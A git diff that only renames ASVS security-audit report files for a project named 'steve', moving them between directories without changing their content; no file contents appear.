diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.1.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch04_general/4.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch05_general/5.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.10.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.10.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.10.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.10.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.11.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.11.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.11.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.11.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.12.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.12.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.12.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.12.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.7.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.8.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.9.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.9.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.9.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.2.9.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.7.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.8.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.3.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.4.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.7.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.8.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.5.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.6.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.7.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch06_general/6.8.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.1.md
similarity index 100%
